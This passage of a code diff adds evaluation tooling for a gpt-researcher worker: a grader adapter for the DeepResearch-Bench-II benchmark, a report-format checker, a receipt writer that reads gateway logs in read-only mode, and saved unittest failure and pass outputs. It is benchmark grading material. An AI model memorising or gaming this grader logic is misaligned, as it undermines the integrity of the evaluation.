report.encode("utf-8") + except UnicodeEncodeError: + errors.append("invalid_utf8") + return {"ready_for_grading": not errors, "errors": errors, + "scope": "report transport only; DeepResearch-Bench-II gives the quality scores"} + + +def export_report(result, destination): + if not check(result)["ready_for_grading"]: + raise ValueError("report cannot be exported for grading") + destination.parent.mkdir(parents=True, exist_ok=True) + # Exclusive creation avoids mixing another attempt with an upstream append. + with destination.open("xb") as output: + output.write(result["report"].encode("utf-8")) + + +def main(): + try: + result = json.loads(Path(sys.argv[1]).read_text()) + sanity = check(result) + except (OSError, ValueError, IndexError): + sanity = {"ready_for_grading": False, "errors": ["invalid_result"]} + print(json.dumps(sanity, sort_keys=True)) + return 0 if sanity["ready_for_grading"] else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/grader.py b/blueprints/runtime-workers/gpt-researcher/e2e/grader.py new file mode 100644 index 000000000..d6e468274 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/grader.py @@ -0,0 +1,186 @@ +"""DRB-II transport adapter, never a local quality scorer. + +Reference: imlrz/DeepResearch-Bench-II b38f360603db9531b102aef8c166cedb8509b6f6 +run_evaluation.py:428-458,530-581. Preserve native scores, reject incomplete +transport, then call unchanged aggregate_scores.py for every metric. +""" +import argparse +import csv +import hashlib +import json +import os +from pathlib import Path +import runpy +import sys +import uuid +from types import SimpleNamespace + +HERE = Path(__file__).resolve().parent +sys.path.insert(0, str(HERE.parent)) +from gateway import CHAT_URL, GatewayTransport, model_id + +DIMENSIONS = ("info_recall", "analysis", "presentation") + + +def load_task(path, selection): + """Keep the exact upstream JSONL row, including its original newline.""" + matches = [] + for raw in path.read_bytes().splitlines(keepends=True): + if raw.strip(): + task = json.loads(raw) + if task.get("idx") == selection["idx"]: + matches.append((task, raw)) + if len(matches) != 1: + raise ValueError("expected one frozen upstream task") + task, raw = matches[0] + if (hashlib.sha256(raw).hexdigest() != selection["row_sha256"] + or hashlib.sha256(task["prompt"].encode("utf-8")).hexdigest() != selection["prompt_sha256"]): + raise ValueError("frozen upstream task bytes changed") + return task, raw + + +def verified_source(prefix): + pins = json.loads((HERE.parent / "pins.json").read_text())["grader"] + source = prefix / "grader-source" / ("DeepResearch-Bench-II-" + pins["commit"]) + for name, expected in pins["files"].items(): + if hashlib.sha256((source / name).read_bytes()).hexdigest() != expected: + raise ValueError("grader source differs from pin: " + name) + return source + + +def validate_grade(rows, task, arm="gptr"): + """Validate delivery and schema, including all-zero/blocked native scores.""" + try: + if len(rows) != 1 or rows[0]["model"] != arm or rows[0]["idx"] != task["idx"]: + raise ValueError("expected exactly one matching native result") + result = rows[0]["result"] + if "error" in result or result["task"] != task["content"]["task"]: + raise ValueError("native evaluation failed or task mismatch") + scores = result["scores"] + if set(scores) != set(DIMENSIONS): + raise ValueError("missing or unexpected rubric dimension") + for dimension in DIMENSIONS: + if set(scores[dimension]) != set(task["content"]["rubric"][dimension]): + raise ValueError("missing or unexpected rubric item") + for item in scores[dimension].values(): + if (set(item) != {"score", "reason", "evidence"} + or type(item["score"]) is not int or item["score"] not in (-1, 0, 1) + or not isinstance(item["reason"], str) or not isinstance(item["evidence"], str)): + raise ValueError("malformed native rubric result") + return result + except (KeyError, TypeError, AttributeError) as error: + raise ValueError("malformed native evaluator output") from error + + +def read_report(run_dir, idx, expected_sha256): + """Bind the native result to the report bytes exported for that attempt.""" + report = (run_dir / "frozen-reports/gptr" / f"idx-{idx}.md").read_bytes() + if (report != (run_dir / "report.md").read_bytes() + or hashlib.sha256(report).hexdigest() != expected_sha256): + raise ValueError("graded report bytes changed") + return report + + +def read_grade(run_dir): + """Re-read actual upstream rows/CSVs; do not trust a wrapper's success bit.""" + selection = json.loads((HERE / "task.json").read_text()) + task, _ = load_task(run_dir / "tasks-and-rubrics.jsonl", selection) + result_path = run_dir / "drb-result.jsonl" + rows = [json.loads(line) for line in result_path.read_text().splitlines() if line.strip()] + validate_grade(rows, task) + summary = json.loads((run_dir / "grade-summary.json").read_text()) + pin = json.loads((HERE.parent / "pins.json").read_text())["grader"]["commit"] + if (summary["commit"] != pin or summary["idx"] != task["idx"] + or summary["raw_result_sha256"] != hashlib.sha256(result_path.read_bytes()).hexdigest()): + raise ValueError("native grade artifacts do not match their receipt") + report = read_report(run_dir, task["idx"], summary["report_sha256"]) + worker_result = json.loads((run_dir / "result.json").read_text()) + if worker_result["report"].encode("utf-8") != report: + raise ValueError("native scores are not for the current worker output") + metrics = {} + for suffix in ("inforecall", "analysis", "presentation", "total", "blocked"): + path = run_dir / ("scores_" + suffix + ".csv") + if summary["metric_artifacts"][path.name] != hashlib.sha256(path.read_bytes()).hexdigest(): + raise ValueError("native aggregate changed") + with path.open(newline="") as handle: + cases = [row for row in csv.DictReader(handle) if row["idx"] != "avg"] + if len(cases) != 1 or cases[0]["idx"] != str(task["idx"]): + raise ValueError("missing or extra aggregated task") + metrics[suffix] = float(cases[0]["gptr"]) + if not 0 <= metrics[suffix] <= 1: + raise ValueError("malformed upstream metric") + return {"status": "graded", "harness": "DeepResearch-Bench-II", "commit": pin, + "judge_model": model_id(summary["judge_model"]), "idx": task["idx"], + "metrics_from_upstream_csv": metrics, + "verdict": "upstream rubric scores; no local binary quality threshold"} + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--prefix", required=True, type=Path) + parser.add_argument("--run-dir", required=True, type=Path) + parser.add_argument("--model", required=True, type=model_id) + args = parser.parse_args() + run_dir = args.run_dir.resolve() + source = verified_source(args.prefix.resolve()) + selection = json.loads((HERE / "task.json").read_text()) + task, raw = load_task(source / "tasks_and_rubrics.jsonl", selection) + if (run_dir / "tasks-and-rubrics.jsonl").read_bytes() != raw: + raise ValueError("worker/grader frozen task mismatch") + report_path = run_dir / "frozen-reports/gptr" / f"idx-{task['idx']}.md" + report_sha256 = hashlib.sha256(report_path.read_bytes()).hexdigest() + paper_chars = len(read_report(run_dir, task["idx"], report_sha256).decode("utf-8")) + if not paper_chars: + raise ValueError("empty exported report") + result_path = run_dir / "drb-result.jsonl" + if result_path.exists() or (run_dir / "grade-summary.json").exists(): + raise ValueError("use a fresh attempt; native evaluator appends outputs") + # Both possible native dotenv locations are owned, freshly created paths. + if any((p / ".env").exists() for p in (source, run_dir)): + raise ValueError("grader does not load dotenv files") + os.chdir(run_dir) + os.environ.update(OPENAI_API_URL=CHAT_URL, OPENAI_API_KEY="local-loopback", + OPENAI_MODEL=args.model, OPENAI_REASONING_EFFORT="max", + OPENAI_MAX_OUTPUT_TOKENS="32768", OPENAI_TIMEOUT="600") + sys.path.insert(0, str(source)) + import gpt_client + transport = GatewayTransport(uuid.uuid4().hex, model=args.model, + correlation_log=run_dir / "judge-correlations.jsonl") + original_requests = gpt_client.requests + # Change this client's transport only, not the shared requests module. + gpt_client.requests = SimpleNamespace(post=transport.grader_post(original_requests.post)) + original_argv = sys.argv + try: + sys.argv = [str(source / "run_evaluation.py"), "--pdf_dir", str(run_dir / "frozen-reports"), + "--tasks_jsonl", str(run_dir / "tasks-and-rubrics.jsonl"), + "--out_jsonl", str(result_path), "--max_workers", "1", "--max_retries", "5", + "--chunk_size", "50", "--max_paper_chars", str(paper_chars), + "--log_file", str(run_dir / "grader-native.log")] + runpy.run_path(str(source / "run_evaluation.py"), run_name="__main__") + rows = [json.loads(line) for line in result_path.read_text().splitlines() if line.strip()] + validate_grade(rows, task) + sys.argv = [str(source / "aggregate_scores.py"), "--input", str(result_path), + "--tasks-file", str(run_dir / "tasks-and-rubrics.jsonl"), + "--output-prefix", str(run_dir / "scores")] + runpy.run_path(str(source / "aggregate_scores.py"), run_name="__main__") + finally: + gpt_client.requests = original_requests + sys.argv = original_argv + # Retain upstream CSVs as the metric authority. No local threshold or score. + summary = {"status": "graded", "harness": "DeepResearch-Bench-II", + "commit": json.loads((HERE.parent / "pins.json").read_text())["grader"]["commit"], + "judge_model": args.model, "idx": task["idx"], + "verdict": "upstream rubric scores; no benchmark-wide binary pass threshold", + "report_sha256": report_sha256, + "metric_artifacts": {}, "raw_result_sha256": hashlib.sha256(result_path.read_bytes()).hexdigest()} + for suffix in ("inforecall", "analysis", "presentation", "total", "blocked"): + path = run_dir / ("scores_" + suffix + ".csv") + if not path.is_file() or not path.stat().st_size: + raise ValueError("missing native aggregate output") + summary["metric_artifacts"][path.name] = hashlib.sha256(path.read_bytes()).hexdigest() + (run_dir / "grade-summary.json").write_text(json.dumps(summary, indent=2) + "\n") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/offline-red.txt b/blueprints/runtime-workers/gpt-researcher/e2e/offline-red.txt new file mode 100644 index 000000000..409d34409 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/offline-red.txt @@ -0,0 +1,17 @@ +command: python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v +exit_code: 1 +test_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... FAIL + +====================================================================== +FAIL: test_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 24, in test_recipe_contract_and_empty_result + self.assertTrue((RECIPE / name).is_file(), name) + ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: False is not true : README.md + +---------------------------------------------------------------------- +Ran 1 test in 0.001s + +FAILED (failures=1) diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/offline-verification.json b/blueprints/runtime-workers/gpt-researcher/e2e/offline-verification.json new file mode 100644 index 000000000..f2712aad1 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/offline-verification.json @@ -0,0 +1,32 @@ +{ + "evidence_class": "offline local integration / structural verification; no native runtime or model execution", + "fail_first": { + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v", + "exit_code": 1, + "result": "Ran 1 test; FAILED (failures=1); README.md absent", + "output_file": "offline-red.txt" + }, + "pass": { + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v", + "exit_code": 0, + "stdout": "test_frozen_oracle_rejects_wrong_facts_and_unfetched_citations (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_frozen_oracle_rejects_wrong_facts_and_unfetched_citations) ... ok\ntest_gateway_reader_uses_only_authorized_columns_and_is_read_only (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only) ... ok\ntest_mcp_policy_enforces_calls_and_collection_arguments (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_mcp_policy_enforces_calls_and_collection_arguments) ... ok\ntest_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... ok\n\n----------------------------------------------------------------------\nRan 4 tests in 0.081s\n\nOK\n" + }, + "syntax": { + "command": "bash -n install.sh run-e2e.sh run-upstream-tests.sh", + "exit_code": 0 + }, + "publication_validation": { + "command": "python3 scripts/validate.py", + "exit_code": 0, + "stdout": "{\"components\": 69, \"hashed_files\": 7345, \"profiles\": 4, \"receipts\": 159, \"status\": \"passed\"}\nIntegrity and scope checks only; no live provider or GPU execution.\n" + }, + "controls": "Wrong facts, unfetched citations, foreign domains, short snippets, duplicate page fragments, denied MCP tools and collections, alternate memory scope/global requests, read-only synthetic SQLite", + "not_run": [ + "framework installation", + "unchanged upstream tests", + "live gateway call", + "MCP backend startup", + "real E2E", + "provider/GPU acceptance" + ] +} diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/receipt.py b/blueprints/runtime-workers/gpt-researcher/e2e/receipt.py new file mode 100644 index 000000000..4f5ae5f04 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/receipt.py @@ -0,0 +1,257 @@ +"""Sanitized local integration receipt; no provider calls or state mutations. + +SQLite URI mode=ro follows Python sqlite3's URI example. The only SELECT uses +the round-3 usage/correlation columns and the two required effort diagnostics. +Native tool observations follow gpt_researcher/mcp/research.py:93,123 at v3.7.0. +""" +from collections import Counter +from contextlib import closing +from datetime import datetime, timezone +import hashlib +import json +import math +import urllib.request +from pathlib import Path +import re +import sqlite3 +import sys + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) +from mcp_proxy import POLICY +from check import check +from grader import read_grade +from gateway import select_routes + +# Round-3 section 2 authorizes correlation_id, section 3 the two effort fields. +# OmniRoute@a58000c src/lib/usage/callLogs.ts; CPython@v3.12.12 sqlite3 URI mode=ro. +COLUMNS = ("timestamp", "path", "status", "model", "reasoning_effort_requested", + "reasoning_effort_upstream", "tokens_in", "tokens_cache_read", "tokens_reasoning") +PATHS = ("/v1/responses", "/v1/chat/completions", "/responses", "/chat/completions") +SQL = """SELECT timestamp, path, status, model, reasoning_effort_requested, +reasoning_effort_upstream, tokens_in, tokens_cache_read, tokens_reasoning, correlation_id +FROM call_logs +WHERE julianday(timestamp) >= julianday(?) AND julianday(timestamp) < julianday(?) +AND model IN (?, ?) AND path IN (?, ?, ?, ?) +ORDER BY timestamp""" + + +def gateway_database(home, arm, engines_verified=False): + if arm == "engines-on" and not engines_verified: + raise ValueError("coordinator must verify the 20129 instance database path before use") + if arm not in ("control", "engines-on"): + raise ValueError("unknown arm") + return home / (".local/share/omniroute-fw/storage.sqlite" if arm == "engines-on" + else ".local/share/omniroute/storage.sqlite") + + +def captured_ids(path): + try: + events = [json.loads(line) for line in path.read_text().splitlines()] + requests = sum(e["event"] == "request" for e in events) + ids = [e.get("correlation_id") for e in events if e["event"] == "response"] + return set(ids) if requests and len(ids) == requests and all(ids) else None + except (OSError, ValueError, KeyError, TypeError): + return None + + +def gateway_rows(database, started, ended, model, correlation_ids=None): + try: + # URI mode=ro does not create a missing database. No schema/auth queries. + with closing(sqlite3.connect(database.resolve().as_uri() + "?mode=ro", uri=True, timeout=5)) as connection: + rows = connection.execute(SQL, (started, ended, model, model.split("/", 1)[-1], *PATHS)).fetchall() + except (OSError, sqlite3.Error): + return {"status": "unavailable", "rows": [], "error": "read_only_call_logs_query_failed"} + sanitized = [] + matched_ids = set() + for row in rows: + if correlation_ids is not None and row[-1] not in correlation_ids: + continue + matched_ids.add(row[-1]) + item = dict(zip(COLUMNS, row[:-1])) # identifiers never enter a receipt + try: + item["timestamp"] = datetime.fromisoformat(str(item["timestamp"]).replace("Z", "+00:00")).isoformat() + except ValueError: + item["timestamp"] = None + for key in ("reasoning_effort_requested", "reasoning_effort_upstream"): + if item[key] not in (None, "minimal", "low", "medium", "high", "xhigh", "max", "none", "auto"): + item[key] = "" + for key in ("status", "tokens_in", "tokens_cache_read", "tokens_reasoning"): + value = item[key] + if isinstance(value, str) and value.isdecimal(): + value = int(value) + item[key] = value if type(value) in (int, float) and math.isfinite(value) and value >= 0 else None + sanitized.append(item) + reasoning = [r for r in sanitized if (r["tokens_reasoning"] or 0) > 0] + effort = {"with_returned_reasoning": len(reasoning), + "without_returned_reasoning": sum(r["tokens_reasoning"] == 0 for r in sanitized), + "unknown_reasoning_usage": sum(r["tokens_reasoning"] is None for r in sanitized), + "non_max_returned_reasoning": sum(any(r[k] not in (None, "max") for k in + ("reasoning_effort_requested", "reasoning_effort_upstream")) for r in reasoning), + "max_upstream_observed": sum(r["reasoning_effort_upstream"] == "max" for r in reasoning), + "note": "Null effort is unobserved, not evidence of a missing request; fields require encrypted reasoning."} + missing = len(correlation_ids - matched_ids) if correlation_ids is not None else 0 + return {"status": "incomplete" if missing else ("observed" if sanitized else "empty"), + "missing_correlation_count": missing, "rows": sanitized, "effort": effort, + "attribution": "correlation_id" if correlation_ids is not None else + "time window + model + path at entry gateway; concurrent callers may overlap", + "usage": "raw row counters; no totals and no addition of the forwarding gateway"} + + +def compression_snapshot(arm): + # OmniRoute@a58000c src/app/api/analytics/compression/route.ts:13-25; + # src/lib/db/compressionAnalytics.ts:52-55. Only cumulative counters. + if arm != "engines-on": + return {"status": "not_applicable"} + try: + opener = urllib.request.build_opener(urllib.request.ProxyHandler({})) + with opener.open("http://127.0.0.1:20129/api/analytics/compression?since=all", timeout=5) as response: + data = json.loads(response.read(1024 * 1024)) + values = {k: data[k] for k in ("totalRequests", "totalTokensSaved")} + if any(type(v) not in (int, float) or not math.isfinite(v) or v < 0 for v in values.values()): + raise ValueError("invalid compression counters") + return {"status": "observed", **values} + except (OSError, ValueError, KeyError, TypeError): + return {"status": "unavailable"} + + +def compression_delta(before, after): + if before.get("status") == after.get("status") == "not_applicable": + return {"status": "not_applicable"} + keys = ("totalRequests", "totalTokensSaved") + if before.get("status") != "observed" or after.get("status") != "observed": + return {"status": "unavailable"} + delta = {k: after[k] - before[k] for k in keys} + if any(v < 0 for v in delta.values()): + return {"status": "counter_reset"} + return {"status": "observed", "before": before, "after": after, "delta": delta, + "scope": "20129 aggregate over worker phase; other callers may overlap; separate from token usage"} + + +def gateway_evidence_complete(observation): + return (observation["status"] == "observed" + and observation.get("effort", {}).get("non_max_returned_reasoning") == 0 + and any(r.get("status") is not None and 200 <= r["status"] < 300 + for r in observation["rows"])) + + +def native_observations(log_path): + tools = {tool: server for server, policy in POLICY["servers"].items() if policy["active"] + for tool in policy["enabled_tools"]} + attempts, results = Counter(), Counter() + if log_path.exists(): + for line in log_path.read_text(errors="replace").splitlines(): + if "gpt_researcher.mcp.research " not in line: + continue + called = re.search(r" INFO Executing tool \d+/\d+: ([a-z_]+)$", line) + returned = re.search(r" INFO Tool ([a-z_]+) returned ([1-9][0-9]*) formatted results$", line) + if called and called[1] in tools: + attempts[called[1]] += 1 + if returned and returned[1] in tools: + results[returned[1]] += 1 + return [{"server": tools[name], "tool": name, "attempts": count, + "nonempty_returns": results[name]} + for name, count in sorted(attempts.items())] + + +def route_metadata(routes): + metadata = {} + for phase in ("worker", "judge"): + headers = ["x-omniroute-session", "Idempotency-Key"] + if phase == "worker" and routes["arm"] == "engines-on": + headers.append("x-omniroute-compression") + metadata[phase] = {**routes[phase], "header_names": headers, "reasoning_effort": "max"} + return metadata + + +def phase_usage(run_dir, routes, phases, engines_verified=False, database=None): + observations = {} + for phase in ("worker", "judge"): + if not phases.get(phase + "_started") or not phases.get(phase + "_ended"): + observations[phase] = {"status": "unavailable", "rows": [], "error": "phase_not_finished"} + continue + try: + db = database or gateway_database(Path.home(), routes["arm"] if phase == "worker" else "control", + engines_verified) + except ValueError: + observations[phase] = {"status": "unavailable", "rows": [], "error": "entry_database_not_verified"} + continue + observations[phase] = gateway_rows(db, phases[phase + "_started"], phases[phase + "_ended"], + routes[phase]["model"], + correlation_ids=captured_ids(run_dir / (phase + "-correlations.jsonl"))) + return observations + + +def write_receipt(run_dir, started, ended, model, version, runtime_error=None, database=None, + routes=None, phases=None, engines_verified=False): + recipe = Path(__file__).resolve().parents[1] + pins = json.loads((recipe / "pins.json").read_text()) + result_path = run_dir / "result.json" + try: + result = json.loads(result_path.read_text()) + except (OSError, ValueError): + result = {} + runtime_error = runtime_error or "MalformedResult" + sanity = check(result) + try: + evaluation = read_grade(run_dir) + except (OSError, ValueError, KeyError, TypeError, AttributeError): + evaluation = {"status": "unavailable_or_malformed", "harness": "DeepResearch-Bench-II", + "commit": pins["grader"]["commit"]} + routes = routes or select_routes({"GPTR_MODEL": model}) + phases = phases or {} + gateway = phase_usage(run_dir, routes, phases, engines_verified, database) + compression = {"status": "not_applicable" if routes["arm"] == "control" else "unavailable"} + try: + snapshots = json.loads((run_dir / "compression.json").read_text()) + compression = compression_delta(snapshots["before"], snapshots["after"]) + except (OSError, ValueError, KeyError, TypeError): + pass + observed = native_observations(run_dir / "native.log") + model_rows = gateway["worker"]["rows"] + corroborated = any(row["path"] in ("/v1/responses", "/responses") + and row["status"] is not None and 200 <= row["status"] < 300 + and row["reasoning_effort_upstream"] == "max" for row in model_rows) + qmd_seen = any(item["server"] == "qmd" and item["nonempty_returns"] for item in observed) + artifact_hashes = {} + for filename in ("result.json", "report.md", "native.log", "native-events.jsonl", "stdout.log", "stderr.log", + "tasks-and-rubrics.jsonl", "drb-result.jsonl", "grade-summary.json", "grader-native.log", + "grader-stdout.log", "grader-stderr.log", "scores_inforecall.csv", "scores_analysis.csv", + "scores_presentation.csv", "scores_total.csv", "scores_blocked.csv"): + path = run_dir / filename + if path.exists(): + artifact_hashes[filename] = hashlib.sha256(path.read_bytes()).hexdigest() + receipt = { + "schema_version": 3, "evidence_class": "local transport integration; native worker and upstream grading attempt", + "framework": {"name": "gpt-researcher", "release": pins["release"], + "commit": pins["commit"], "installed_package_version": version}, + "window": {"started": started, "ended": ended}, + "arm": routes["arm"], "routes": route_metadata(routes), "phases": phases, + "gateway": gateway, + "compression": compression, + "evidence_complete": all(gateway_evidence_complete(gateway[p]) for p in ("worker", "judge")) + and compression["status"] in ("not_applicable", "observed"), + "worker_responses_max_corroborated": corroborated, + "mcp_calls": {"source": "upstream gpt_researcher.mcp.research INFO records", + "observed": observed, "qmd_nonempty_return_observed": bool(qmd_seen)}, + "skills": {"listed_at_start": [], "activation_events": [], + "status": "SKILL.md loader not found in pinned runtime; no native skill activation claimed"}, + "report_sanity": sanity, + "evaluation": evaluation, + "runtime_error_class": runtime_error, + "source_archive_sha256": pins["source_archive"]["sha256"], + "dependency_lock_sha256": pins["locks"], + "private_artifact_sha256": artifact_hashes, + "execution_complete": evaluation["status"] == "graded" and runtime_error is None and sanity["ready_for_grading"], + "limitations": [ + "Gateway rows corroborate a time window, not an exclusive per-run attribution.", + "Fresh keys are supplied per SDK generation; native outer retries are new generation attempts, not deduplicated replays.", + "Request headers and omitted temperature need independent host wire inspection; allowed DB columns cannot prove them.", + "DRB-II provides rubric scores, not a global binary quality threshold; execution_complete is not a quality verdict.", + "Native free-text JSON planning uses upstream json_repair; constrained planner schemas are not available through this recipe.", + "Upstream grader usage omits failed-attempt consumption; retain gateway/provider observations separately.", + "No native SKILL.md loading, GPU acceptance, or measured A/B or token-saving comparison is claimed." + ], + "sanitization": "No raw report, source bodies, tool arguments, host paths, emails, session IDs or request IDs; unexpected column text redacted." + } + (run_dir / "receipt.json").write_text(json.dumps(receipt, indent=2) + "\n") + return receipt diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/round2-red.txt b/blueprints/runtime-workers/gpt-researcher/e2e/round2-red.txt new file mode 100644 index 000000000..b54b67b29 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/round2-red.txt @@ -0,0 +1,113 @@ +test_gateway_reader_uses_only_authorized_columns_and_is_read_only (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only) ... ok +test_mcp_policy_enforces_calls_and_collection_arguments (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_mcp_policy_enforces_calls_and_collection_arguments) ... ok +test_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... ERROR +test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) ... + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (report='# Report\nAn evidence-bearing answer.\n') ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (report='The moon is cheese.\n') ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={}) ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': ' \n'}) ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': None}) ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': 7}) ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result=[]) ... ERROR + test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result=None) ... ERROR +test_upstream_grade_controls_preserve_scores_and_reject_malformed_output (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_upstream_grade_controls_preserve_scores_and_reject_malformed_output) ... ERROR + +====================================================================== +ERROR: test_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 81, in test_recipe_contract_and_empty_result + self.assertFalse(sanity["ready_for_grading"]) + ~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (report='# Report\nAn evidence-bearing answer.\n') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 92, in test_report_transport_controls_do_not_grade_content + self.assertTrue(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (report='The moon is cheese.\n') +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 92, in test_report_transport_controls_do_not_grade_content + self.assertTrue(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': ' \n'}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': None}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result={'report': 7}) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result=[]) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) (result=None) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 99, in test_report_transport_controls_do_not_grade_content + self.assertFalse(checker.check(result)["ready_for_grading"]) + ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^ +KeyError: 'ready_for_grading' + +====================================================================== +ERROR: test_upstream_grade_controls_preserve_scores_and_reject_malformed_output 